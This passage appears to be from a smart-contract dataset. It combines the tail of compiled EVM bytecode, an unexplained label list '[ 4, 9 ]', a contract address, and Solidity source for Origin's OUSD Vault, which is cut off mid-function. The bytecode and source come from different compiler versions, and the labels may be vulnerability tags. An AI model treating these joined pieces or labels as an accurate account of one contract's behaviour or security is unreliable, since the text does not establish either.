50610b638582856117eb565b6040518481526001600160a01b038616906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3846001600160a01b0316866001600160a01b03167f2f00e3cdd69a77be7ed215ec7b2a36784dd158f921fca79ac29deffa353fe6ee8686604051610bf2929190918252602082015260400190565b60405180910390a350949350505050565b610c0b61141a565b610c1361186c565b5050565b336000818152600b602090815260408083206001600160a01b03878116808652918452938290208690556004548251941684529183018590529092917fda919360433220e13b51e8c211e490d148e61a3bd53de8c097194e458b97f3e1910160405180910390a35050565b60606106a16109fa565b610c946118a2565b6000600260019054906101000a90046001600160a01b03166001600160a01b0316630261bf8b6040518163ffffffff1660e01b815260040160206040518083038186803b158015610ce457600080fd5b505afa158015610cf8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d1c919061281f565b604080518082019091526002815261064760f31b60208201529091506001600160a01b038216610d5f5760405162461bcd60e51b8152600401610b4e9190612cf4565b50600380546001600160a01b0319166001600160a01b0392909216919091179055565b60016000806000610d92846118dd565b92509250925080610da357600d8490555b610db06001600c54101590565b15610e3657610e318a8a8080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525050604080516020601f8e018190048102820181019092528c815292508c91508b9081908401838280828437600092019190915250610e2c92506107e2915050565b611b53565b610ede565b610ec58a8a8080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525050604080516020601f8e018190048102820181019092528c815292508c91508b9081908401838280828437600081840152601f19601f820116905080830192505050505050508d6060016020810190610e2c9190612bc9565b610ede610ed7368d90038d018d612af1565b8787611b93565b610eeb60208c018c612803565b6001600160a01b0316610f0460608d0160408e01612803565b6001600160a01b03167f2bb6ce244a49e83b442fa9c0617811f0929cb9961fd5ce013ebf708dc4d8bf026000610f386105ff565b610f406109fa565b60025460ff168c8c604051610f5a96959493929190612c2e565b60405180910390a380610f6d57600c8490555b81610f7d57600c8390556000600d555b5050505050505050505050565b60408051808201909152600280825261383160f01b602083015254610fc5916101009091046001600160a01b0316903390628000089061145c565b6107cb81611c5f565b610fd66115f0565b6000610fe2838361170d565b60408051808201909152600281526106a760f31b60208201529091508161101c5760405162461bcd60e51b8152600401610b4e9190612cf4565b5061102a8482600085611c67565b6040518381526000906001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a360408051848152602081018490526001600160a01b038616917f49995e5dd6158cf69ad3e9777c46755a1a826a446c6416992167462dad033b2a910160405180910390a250505050565b60008060006110c26110e3565b6110cb84611ce9565b9250925092505b9193909250565b6107cb8142611cf7565b600a546001600160a01b0316331460405180604001604052806002815260200161039360f41b815250906107cb5760405162461bcd60e51b8152600401610b4e9190612cf4565b60405162461bcd60e51b815260206004820152600d60248201526c1393d517d4d5541413d4951151609a1b6044820152606401610b4e565b6040805160608082018352600080835260208084018290529284018190526001600160a01b03851681526005835283812084519283018552546001600160c01b038116835263ffffffff600160c01b8204811694840194909452600160e01b90049092169281019290925290516001600160c01b031692915050565b60006106a1611d7f565b60006106a16007546001600160e01b031690565b6000821580611209575081155b15611216575060006106b4565b81600261122560016064612de1565b611230906064612de1565b61123a9190612dac565b61124a9061ffff16600019612e2a565b6112549190612dcd565b83111560405180604001604052806002815260200161068760f31b815250906112905760405162461bcd60e51b8152600401610b4e9190612cf4565b5061129d60016064612de1565b6112a8906064612de1565b61ffff1660026112ba60016064612de1565b6112c5906064612de1565b6112cf9190612dac565b61ffff166112dd8486612e0b565b6112e79190612d94565b6109ba9190612dcd565b6112f9611d8a565b61130281611ddb565b6040518181527fe65c987b2e4668e09ba867026921588005b2b2063607a1e7e7d91683c8f91b7b906020015b60405180910390a150565b6002546113719061010090046001600160a01b0316336001604051806040016040528060028152602001611b9b60f11b81525061145c565b565b6000821580611380575081155b1561138d575060006106b4565b816113a560026b033b2e3c9fd0803ce8000000612dcd565b6113b190600019612e2a565b6113bb9190612dcd565b83111560405180604001604052806002815260200161068760f31b815250906113f75760405162461bcd60e51b8152600401610b4e9190612cf4565b506b033b2e3c9fd0803ce8000000611410600282612dcd565b6112dd8486612e0b565b61142333611de4565b60405180604001604052806002815260200161383160f01b815250906107cb5760405162461bcd60e51b8152600401610b4e9190612cf4565b611467848484611e79565b81906114865760405162461bcd60e51b8152600401610b4e9190612cf4565b5050505050565b600a80546001600160a01b0319166001600160a01b03861617905561ffff8216156114bb576114bb826114d0565b82156114ca576114ca836112f1565b50505050565b6114d8611d8a565b6114e460016064612de1565b6114ef906064612de1565b61ffff168161ffff1611156115365760405162461bcd60e51b815260206004820152600d60248201526c696c6c6567616c2076616c756560981b6044820152606401610b4e565b600a805461ffff60a01b1916600160a01b61ffff8416908102919091179091556040519081527fa4a0021d5a3e887ed39092287593218ba56daabb698755739666df81df9184099060200161132e565b6000806115938484611e94565b915091505b9250929050565b6000806000806115ae88611ce9565b919550935091506115bf8785612d94565b935061ffff8516156115e6576115d9848661ffff166111fc565b6115e39087612d94565b95505b5094509450949050565b600354604080518082019091526002815261323960f01b6020820152906001600160a01b031633146107cb5760405162461bcd60e51b8152600401610b4e9190612cf4565b6001600160a01b038084166000908152600b602090815260408083209386168352928152908290205482518084019093526002835261353960f01b9183019190915290828210156116995760405162461bcd60e51b8152600401610b4e9190612cf4565b506001600160a01b038481166000818152600b6020908152604080832088861680855290835292819020958790039586905560045481519516855290840185905290927fda919360433220e13b51e8c211e490d148e61a3bd53de8c097194e458b97f3e1910160405180910390a350505050565b604080518082019091526002815261035360f41b6020820152600090826117475760405162461bcd60e51b8152600401610b4e9190612cf4565b506000611755600284612dcd565b90506b033b2e3c9fd0803ce800000061177082600019612e2a565b61177a9190612dcd565b84111560405180604001604052806002815260200161068760f31b815250906117b65760405162461bcd60e51b8152600401610b4e9190612cf4565b5082816117cf6b033b2e3c9fd0803ce800000087612e0b565b6117d99190612d94565b6117e39190612dcd565b949350505050565b6001600160a01b0383166118415760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f2061646472657373006044820152606401610b4e565b61185c8261184d611d7f565b6118579190612d94565b611f3f565b611867838383611f48565b505050565b60405162461bcd60e51b815260206004820152600b60248201526a155394d5541413d495115160aa1b6044820152606401610b4e565b60408051808201909152600280825261333360f01b602083015254611371916101009091046001600160a01b0316903390620200029061145c565b60016000806118ee83600019612e2a565b831061193c5760405162461bcd60e51b815260206004820152601960248201527f696e76616c696420636f6e7472616374207265766973696f6e000000000000006044820152606401610b4e565b6000841161198c5760405162461bcd60e51b815260206004820152601e60248201527f696e636f727265637420696e697469616c697a6572207265766973696f6e00006044820152606401610b4e565b828411156119dc5760405162461bcd60e51b815260206004820152601e60248201527f696e636f6e73697374656e7420636f6e7472616374207265766973696f6e00006044820152606401610b4e565b6119e96001600019612e2a565b600c541015611a65576000600d54118015611a05575082600c54105b91508180611a125750303b155b80611a1e5750600c5483115b611a605760405162461bcd60e51b8152602060048201526013602482015272185b1c9958591e481a5b9a5d1a585b1a5e9959606a1b6044820152606401610b4e565b611ad5565b611a726001600019612e2a565b600c54148015611a815750303b155b611ac35760405162461bcd60e51b81526020600482015260136024820152721a5b9a5d1a585b1a5e995c88189b1bd8dad959606a1b6044820152606401610b4e565b6000600c55600d546000199350151591505b8115611b2c5783600d5411611b2c5760405162461bcd60e51b815260206004820152601f60248201527f696e636f7272656374206f72646572206f6620696e697469616c697a657273006044820152606401610b4e565b600c548411611b49578115611b41576001600d555b5060016110d2565b5060009193909250565b8251611b66906000906020860190612702565b508151611b7a906001906020850190612702565b506002805460ff191660ff929092169190911790555050565b8251600380546001600160a01b03199081166001600160a01b039384169081179092556040808701516004805490931694169390931781558251630b6b5afb60e11b8152925191926316d6b5f69281830192602092829003018186803b158015611bfc57600080fd5b505afa158015611c10573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c34919061281f565b600260016101000a8154816001600160a01b0302191690836001600160a01b03160217905550505050565b6107cb61186c565b6001600160a01b038416611cc75760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b6064820152608401610b4e565b611cdd83611cd3611d7f565b6118579190612e2a565b6114ca84848484611f71565b60008060006110cb84611f9c565b6007546001600160e01b0316821415611d0e575050565b6001600160e01b03821115611d2257600080fd5b60075463ffffffff600160e01b90910481169082168114611867576007546001600160e01b0316611d5283611faa565b600780546001600160e01b0319166001600160e01b03868116919091179091556114ca9082168385612027565b60006106a160095490565b600a546001600160a01b03166113715760405162461bcd60e51b815260206004820152601660248201527518dbdb9d1c9bdb1b195c881a5cc81c995c5d5a5c995960521b6044820152606401610b4e565b6107cb816110d9565b600a546000906001600160a01b0316158015906106b45750600a5460405163ce91a05960e01b81526001600160a01b0384811660048301529091169063ce91a0599060240160206040518083038186803b158015611e4157600080fd5b505afa158015611e55573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106b491906129ef565b600080611e878585856120a3565b9092161515949350505050565b6001600160a01b03821660009081526005602052604081205481906001600160c01b0316611ec757506000905080611598565b6001600160a01b0384166000818152600560209081526040808320815160608101835290546001600160c01b038116825263ffffffff600160c01b8204811683860152600160e01b9091041681830152938352600690915281205490918291611f31919087612127565b909890975095505050505050565b610c138161220f565b6000806000611f57868661222d565b925092509250611f69868484846122fd565b505050505050565b6000806000611f81878787612360565b925092509250611f93878484846122fd565b50505050505050565b600080806110cb844261243f565b60075463ffffffff600160e01b909104811690821610156120025760405162461bcd60e51b8152602060048201526012602482015271726574726f6163746976652075706461746560701b6044820152606401610b4e565b6007805463ffffffff909216600160e01b026001600160e01b03909216919091179055565b60095461203357505050565b8163ffffffff168163ffffffff161461186757600954612062906ec097ce7bc90715b34b9f1000000000612dcd565b61206c9084612e0b565b92506120788282612e41565b6120889063ffffffff1684612e0b565b600860008282546120999190612d94565b9091555050505050565b60405163cc8b29c160e01b81526001600160a01b038381166004830152602482018390526000919085169063cc8b29c19060440160206040518083038186803b1580156120ef57600080fd5b505afa158015612103573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117e39190612bb1565b60085460095460009081901561219857600080612142612532565b915091506009546ec097ce7bc90715b34b9f10000000006121639190612dcd565b61216d9083612e0b565b91506121798187612e41565b6121899063ffffffff1683612e0b565b6121939086612d94565b945050505b848314806121ae575085516001600160c01b0316155b156121c25750506040840151600090612206565b6ec097ce7bc90715b34b9f10000000006121dc8685612e2a565b87516121f191906001600160c01b0316612e0b565b6121fb9190612dcd565b604087015190925090505b93509350939050565b600060095482141561222357506000919050565b6106b48242612551565b6001600160a01b0382166000908152600560209081526040808320815160608101835290546001600160c01b03811680835263ffffffff600160c01b8304811695840195909552600160e01b9091049093169181019190915282918291906122959086612d94565b94506001600160c01b038511156122e45760405162461bcd60e51b81526020600482015260136024820152720c4c2d8c2dcc6ca40d2e640e8dede40d0d2ced606b1b6044820152606401610b4e565b6122ef86828761259b565b935093509350509250925092565b8261235457600081600281111561232457634e487b7160e01b600052602160045260246000fd5b148061234a5750600061233f600a546001600160a01b031690565b6001600160a01b0316145b15612354576114ca565b6114ca84848484612694565b6001600160a01b0383166000908152600560209081526040808320815160608101835290546001600160c01b038116825263ffffffff600160c01b8204811694830194909452600160e01b900490921690820152819081906123c28686612d94565b81516001600160c01b031610156124145760405162461bcd60e51b8152602060048201526016602482015275616d6f756e7420657863656564732062616c616e636560501b6044820152606401610b4e565b80516001600160c01b0316959095039461242f87828861259b565b9350935093505093509350939050565b6001600160a01b0382166000908152600560209081526040808320815160608101835290546001600160c01b03811680835263ffffffff600160c01b8304811695840195909552600160e01b9091049093169181019190915282918291906124b2576000806000935093509350506109f3565b6001600160a01b038616600090815260066020526040812054819081906124db9085908a612127565b6001600160a01b038c166000908152600660209081526040808320959095556005905292909220805463ffffffff8c16600160e01b026001600160e01b039091161790559750955060019450505050509250925092565b6007546001600160e01b03811691600160e01b90910463ffffffff1690565b600080600061255e612532565b9150915061256b84611faa565b811561258f5761257c828286612027565b8363ffffffff168163ffffffff16141592505b50506009929092555090565b6000806000846040015163ffffffff16600014156125bb575060016125bf565b5060005b6001600160a01b038616600090815260066020526040812054429190819081906125eb908a9086612127565b6001600160a01b03909c1660008181526006602090815260408083209590955584516060810186526001600160c01b039d8e1681529d81015163ffffffff9081168f83019081529981168f870190815293835260059091529390209b518c54975191518416600160e01b026001600160e01b0392909416600160c01b026001600160e01b03199098169b169a909a17959095179890981697909717909755509690945092505050565b600a546040516316050d6360e31b81526001600160a01b039091169063b0286b18906126ca908790879087908790600401612ca4565b600060405180830381600087803b1580156126e457600080fd5b505af11580156126f8573d6000803e3d6000fd5b5050505050505050565b82805461270e90612e66565b90600052602060002090601f0160209004810192826127305760008555612776565b82601f1061274957805160ff1916838001178555612776565b82800160010185558215612776579182015b8281111561277657825182559160200191906001019061275b565b50612782929150612786565b5090565b5b808211156127825760008155600101612787565b60008083601f8401126127ac578182fd5b50813567ffffffffffffffff8111156127c3578182fd5b60208301915083602082850101111561159857600080fd5b803561ffff811681146127ed57600080fd5b919050565b803560ff811681146127ed57600080fd5b600060208284031215612814578081fd5b81356109ba81612ecd565b600060208284031215612830578081fd5b81516109ba81612ecd565b6000806040838503121561284d578081fd5b823561285881612ecd565b9150602083013561286881612ecd565b809150509250929050565b600080600060608486031215612887578081fd5b833561289281612ecd565b925060208401356128a281612ecd565b929592945050506040919091013590565b600080600080608085870312156128c8578081fd5b84356128d381612ecd565b935060208501356128e381612ecd565b93969395505050506040820135916060013590565b6000806040838503121561290a578182fd5b823561291581612ecd565b946020939093013593505050565b600080600060608486031215612937578283fd5b833561294281612ecd565b95602085013595506040909401359392505050565b6000806000806080858703121561296c578384fd5b843561297781612ecd565b93506020850135925060408501359150612993606086016127db565b905092959194509250565b600080604083850312156129b0578182fd5b82356129bb81612ecd565b9150602083013563ffffffff81168114612868578182fd5b6000602082840312156129e4578081fd5b81356109ba81612ee2565b600060208284031215612a00578081fd5b81516109ba81612ee2565b600060208284031215612a1c578081fd5b813567ffffffffffffffff811115612a32578182fd5b8201606081850312156109ba578182fd5b600080600080600080600087890360e0811215612a5e578586fd5b6080811215612a6b578586fd5b50879650608088013567ffffffffffffffff80821115612a89578687fd5b612a958b838c0161279b565b909850965060a08a0135915080821115612aad578485fd5b612ab98b838c0161279b565b909650945060c08a0135915080821115612ad1578384fd5b50612ade8a828b0161279b565b989b979a50959850939692959293505050565b600060808284031215612b02578081fd5b6040516080810181811067ffffffffffffffff82111715612b3157634e487b7160e01b83526041600452602483fd5b6040528235612b3f81612ecd565b81526020830135612b4f81612ecd565b60208201526040830135612b6281612ecd565b6040820152612b73606084016127f2565b60608201529392505050565b600060208284031215612b90578081fd5b6109ba826127db565b600060208284031215612baa578081fd5b5035919050565b600060208284031215612bc2578081fd5b5051919050565b600060208284031215612bda578081fd5b6109ba826127f2565b60008151808452815b81811015612c0857602081850181015186830182015201612bec565b81811115612c195782602083870101525b50601f01601f19169290920160200192915050565b6001600160a01b038716815260a060208201819052600090612c5290830188612be3565b8281036040840152612c648188612be3565b905060ff8616606084015282810360808401528381528385602083013781602085830101526020601f19601f860116820101915050979650505050505050565b6001600160a01b03851681526020810184905263ffffffff831660408201526080810160038310612ce557634e487b7160e01b600052602160045260246000fd5b82606083015295945050505050565b6020815260006109ba6020830184612be3565b602080825282516001600160a01b03168282015282015160606040830152600090612d356080840182612be3565b905061ffff60408501511660608401528091505092915050565b6000808335601e19843603018112612d65578283fd5b83018035915067ffffffffffffffff821115612d7f578283fd5b60200191503681900382131561159857600080fd5b60008219821115612da757612da7612ea1565b500190565b600061ffff80841680612dc157612dc1612eb7565b92169190910492915050565b600082612ddc57612ddc612eb7565b500490565b600061ffff80831681851681830481118215151615612e0257612e02612ea1565b02949350505050565b6000816000190483118215151615612e2557612e25612ea1565b500290565b600082821015612e3c57612e3c612ea1565b500390565b600063ffffffff83811690831681811015612e5e57612e5e612ea1565b039392505050565b600181811c90821680612e7a57607f821691505b60208210811415612e9b57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b6001600160a01b03811681146107cb57600080fd5b80151581146107cb57600080fdfea2646970667358221220b6fbe68d5e5b6d93da3ee317000044f02fa71dd04f350705c2e5e0f0aac8d73a64736f6c63430008040033
[ 4, 9 ]
0xf251cb9129fdb7e9ca5cad097de3ea70cab9d8f9
pragma solidity 0.5.11; /** * @title OUSD Vault Contract * @notice The Vault contract stores assets. On a deposit, OUSD will be minted and sent to the depositor. On a withdrawal, OUSD will be burned and assets will be sent to the withdrawer. The Vault accepts deposits of interest form yield bearing strategies which will modify the supply of OUSD. * @author Origin Protocol Inc */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Destroys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See {_burn} and {_approve}. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance")); } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Converts an `address` into `address payable`. Note that this is * simply a type cast: the actual underlying value is not changed. * * _Available since v2.4.0._ */ function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. * * _Available since v2.4.0._ */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= 